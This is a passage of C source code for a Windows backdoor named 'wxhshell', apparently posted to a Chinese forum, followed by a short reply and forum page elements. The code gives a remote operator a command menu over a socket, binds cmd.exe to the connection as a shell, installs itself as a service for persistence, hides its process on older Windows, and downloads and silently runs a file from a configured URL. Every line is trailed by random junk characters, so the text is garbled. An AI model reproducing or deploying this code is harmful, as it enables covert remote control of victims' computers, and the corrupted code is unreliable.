  if(DownloadFile(cmd,wsh)) K_;vqi^1^&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tsAV46S  
  else H0;Iv#S!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Y9#y{v1  
  } nS04Ha  
  else { iqvLu{  
q0NFz mG  
    switch(cmd[0]) { 4T31<wk  
  gom!dB0J  
  // 帮助 X>8,C^~$1  
  case '?': { 1ZI1+TDH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M@R"-$Z  
    break; G9f6'5 O  
  } Ea&|kO|  
  // 安装 Fp/{L  
  case 'i': { C3}:DIn"w  
    if(Install()) >G:Q/3jh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H].|K/-p  
    else 1Ng+mT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rW)h ? , b  
    break; =p8uP5H  
    } BB6[(Z  
  // 卸载 ^O18\a  
  case 'r': { I.n,TJoz4J  
    if(Uninstall()) !&{rnK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4D`VfX_  
    else i)?7+<X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =#2c r:1  
    break; uZC=]Ieh  
    } UDHWl_%L  
  // 显示 wxhshell 所在路径 rP:g`?*V  
  case 'p': { e0TYHr)X>3  
    char svExeFile[MAX_PATH]; ,WRm{ v0f^  
    strcpy(svExeFile,"\n\r"); U05;qKgkDF  
      strcat(svExeFile,ExeFile); OP`f[lCiL  
        send(wsh,svExeFile,strlen(svExeFile),0); hx9{?3#  
    break; --WQr]U/  
    } E+aePoU  
  // 重启 S"cTi[9  
  case 'b': { m\56BP-AM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JM3[ yNSN@  
    if(Boot(REBOOT)) IMkE~0x4</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |NuMDVd+s  
    else { ~[HzGm%  
    closesocket(wsh); CRK%^3g  
    ExitThread(0); <rBW6o7  
    } XOvJlaY)'.  
    break; 'XK 'T\m  
    } vqSpF6F q  
  // 关机 Cz0FA]-g  
  case 'd': { Ix-Mp   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J8 qFdNK  
    if(Boot(SHUTDOWN)) XwY,xg&o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jr=9.=jI8k  
    else { iH8we,s'  
    closesocket(wsh); wXIRn?z  
    ExitThread(0); B*T n@t W  
    } jH< #)R  
    break; 1&|]8=pG7  
    } {DRk{>K,  
  // 获取shell *?FVLE  
  case 's': { V|8'3=Z=  
    CmdShell(wsh); UxGu1a  
    closesocket(wsh); (BEe^]f  
    ExitThread(0); YvJFZ_faX  
    break; lq-KM8j  
  } WXy8<?s  
  // 退出 ~*HQPp?v  
  case 'x': { w"j>^#8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |V a:*3u  
    CloseIt(wsh); ~CNB3r5R  
    break; @G4Z  
    } ], lLD UZ\  
  // 离开 C%z)D1-  
  case 'q': { #`VAw ) eV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;z'&$#pA  
    closesocket(wsh); 8ymdg\I+L  
    WSACleanup(); \Y4(+t=4  
    exit(1); B[N]=V  
    break; ~/L:$  
        } (!* l+}  
  } NM{)liP ;8  
  } EtcT:k?y  
1SExl U  
  // 提示信息 7kLu rv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ros-d p`  
} Nx 42k|8  
  } g88k@<Y  
jZA1fV  
  return; tm~9XFQ<  
} ,X|Oe@/  
0Y8gUpe3P6  
// shell模块句柄 $gl|^c\  
int CmdShell(SOCKET sock) zG9FO/@av  
{ H8eEBMGo  
STARTUPINFO si; %g9y m@s  
ZeroMemory(&si,sizeof(si)); 0z>IYw|UB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `=(<!nXJx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C m:AU;  
PROCESS_INFORMATION ProcessInfo; Gdow[x  
char cmdline[]="cmd"; ),x0G*oebj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }b456J  
  return 0; %3`*)cp@  
} t/[2{'R4  
dcf,a<K\  
// 自身启动模式 jr` swyg  
int StartFromService(void) !]F`qS>  
{ o@)Fy51DD  
typedef struct b 7sfr!t_d  
{ W>jKWi,{  
  DWORD ExitStatus; QRju9x  
  DWORD PebBaseAddress; A?MM9Y}K  
  DWORD AffinityMask; TAYh#T=S  
  DWORD BasePriority; [j6]!p]S$  
  ULONG UniqueProcessId;  zK6w0  
  ULONG InheritedFromUniqueProcessId; q /JC\  
}   PROCESS_BASIC_INFORMATION; 9C7Npf?~M  
R>bg3j  
PROCNTQSIP NtQueryInformationProcess; .q 2r!B  
Bl+\|[yd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uuM1_nD[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sVh)Ofn  
OLx;j+p  
  HANDLE             hProcess; }ILBX4c  
  PROCESS_BASIC_INFORMATION pbi; 2hHRitt36  
I bD u+~)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tR!C8:u  
  if(NULL == hInst ) return 0; |>ztx}\  
kX L0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )7.)fY$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ew\:&"@2]w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &b (*  
k+"];  
  if (!NtQueryInformationProcess) return 0; v~OMm \  
;r@=[h   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7&id(&y/  
  if(!hProcess) return 0; vv)q&,<c  
;MQl.?vj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]y#'U  
.s\lfBo9  
  CloseHandle(hProcess); 2*sTU  
&<><4MQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M[qhy.  
if(hProcess==NULL) return 0; ?b7ttlX{  
: ;8L1'  
HMODULE hMod; ^|<>`i6  
char procName[255]; 7)U ik}0  
unsigned long cbNeeded; 3FvVM0l"  
GbLHzw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^x0N] /  
6 |=]i-8  
  CloseHandle(hProcess); k{r<S|PK0  
`%\CO `  
if(strstr(procName,"services")) return 1; // 以服务启动 #j Tkz  
T`^Jw s{;7  
  return 0; // 注册表启动 e#hg,I  
} .c>6}:ye  
9 m8KDB[N  
// 主模块 * K$ U[$s  
int StartWxhshell(LPSTR lpCmdLine) Ko&4{}/  
{ 1 V]ws}XW  
  SOCKET wsl; GG%;~4#2  
BOOL val=TRUE; P<>NV4  
  int port=0; &j~9{ C  
  struct sockaddr_in door; f@`|2wG  
/S J><  
  if(wscfg.ws_autoins) Install(); N4 x5!00  
zHKP$k8  
port=atoi(lpCmdLine); C[fefV9g2  
UIU Pi gd  
if(port<=0) port=wscfg.ws_port; m=n79]b:N  
;%0kzIvP  
  WSADATA data; nP[Z6h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KC"S0 6  
Rk5#5R n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -0xo6'mD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zb_A(mnzh  
  door.sin_family = AF_INET; 1>[#./@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ep(xlHTv  
  door.sin_port = htons(port); mxEe -q  
.<vXj QE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >-V632(/{o  
closesocket(wsl); z 8M\(<  
return 1; n><ad*|MX  
} k5>UAea_  
Ytc[ kp  
  if(listen(wsl,2) == INVALID_SOCKET) { 48z%dBmTT*  
closesocket(wsl); o6^ETQ  
return 1; \5tG>>c i  
} 3XB`|\:  
  Wxhshell(wsl); t;Z9p7rk  
  WSACleanup(); k>i`G5Dh  
)^8[({r~  
return 0; 4Y'Ne2M{  
#8L: .,AYE  
} 4RctYMz  
-uN{28;@  
// 以NT服务方式启动 6|lsG6uf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8g:VfzaHu  
{ 0Sk~m4fj(  
DWORD   status = 0; w;Azxcw  
  DWORD   specificError = 0xfffffff; %AJ9fs4/  
;07$G+['  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xl1%c7r.1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kI a16m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )n"0:"Ou  
  serviceStatus.dwWin32ExitCode     = 0; 2u-J+  
  serviceStatus.dwServiceSpecificExitCode = 0; .h4NG4FIF  
  serviceStatus.dwCheckPoint       = 0; ,){#J"W  
  serviceStatus.dwWaitHint       = 0; t{B@k[|  
dSKvs"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5s\;7>  
  if (hServiceStatusHandle==0) return; |X*y-d77W  
VMF?qT3Nd  
status = GetLastError(); ]@21KO  
  if (status!=NO_ERROR) W{J e)N  
{ phG *It}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F3vywN1$,  
    serviceStatus.dwCheckPoint       = 0; 0'f\>4B  
    serviceStatus.dwWaitHint       = 0; OmkJP  
    serviceStatus.dwWin32ExitCode     = status; +5I5  
    serviceStatus.dwServiceSpecificExitCode = specificError; wZ0bD&B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YJ6:O{AL1  
    return; wEq&O|Vj  
  } #5h_{q4l  
$Tv~ *|a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SVZ@'X\[M  
  serviceStatus.dwCheckPoint       = 0; F#yn'j8  
  serviceStatus.dwWaitHint       = 0; P c&dU1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z,AY<[/C  
} @f"[*7Q`/  
FO(QsR=\s  
// 处理NT服务事件,比如:启动、停止 %5+X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y|+5R5}K  
{ T~$Eh6 D  
switch(fdwControl) _'Jjt9@S  
{ L|<j/bP  
case SERVICE_CONTROL_STOP: b 1.S21  
  serviceStatus.dwWin32ExitCode = 0; zqrqbqK5R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8ZbXGQ  
  serviceStatus.dwCheckPoint   = 0; 3n)Kzexh  
  serviceStatus.dwWaitHint     = 0; 8mmnnf{P  
  { .|u`s,\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,[ppETz  
  } UAz^P6iQ`~  
  return; u0<yGsEGD  
case SERVICE_CONTROL_PAUSE: {S+?n[1r\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D=vw0Q_3Y3  
  break; "oiN8#Hf  
case SERVICE_CONTROL_CONTINUE: .3UJ*^(?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I74Rw*fB  
  break; [?:MIl#!  
case SERVICE_CONTROL_INTERROGATE: 4D n&+=fq  
  break; \"RCJadK  
}; \tvL<U"'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K"t?  
} NAtDt=  
ID`C  
// 标准应用程序主函数 fBZLWfp9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #?r|6<4X  
{ ChUE,)  
xx1lEcj  
// 获取操作系统版本 &QD)1b[U  
OsIsNt=GetOsVer(); Z~h6^h   
GetModuleFileName(NULL,ExeFile,MAX_PATH); k7@QFw4 j  
]=ApYg7!  
  // 从命令行安装 dHiir&Rd9`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4x-,l1NMR  
K%L6UQ;  
  // 下载执行文件 ^S;{;c+'  
if(wscfg.ws_downexe) { S'$m3,l(k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *7Y#G8 s  
  WinExec(wscfg.ws_filenam,SW_HIDE); "8uNa  
} p*g)-/mA  
un!v1g9O  
if(!OsIsNt) { 3O4lG e#u  
// 如果时win9x,隐藏进程并且设置为注册表启动 V;RgO}  
HideProc(); gi/k#3_m  
StartWxhshell(lpCmdLine); Iv3yDL;  
} /kyO,g$9  
else l=T;hk  
  if(StartFromService()) |.RyF@N`T  
  // 以服务方式启动 qHgtd+ I  
  StartServiceCtrlDispatcher(DispatchTable); 4qE4 i:b  
else <)LR  
  // 普通方式启动 gfN=0Xj4  
  StartWxhshell(lpCmdLine); V.$tq  
urkuG4cY  
return 0; )lt1I\n*k  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五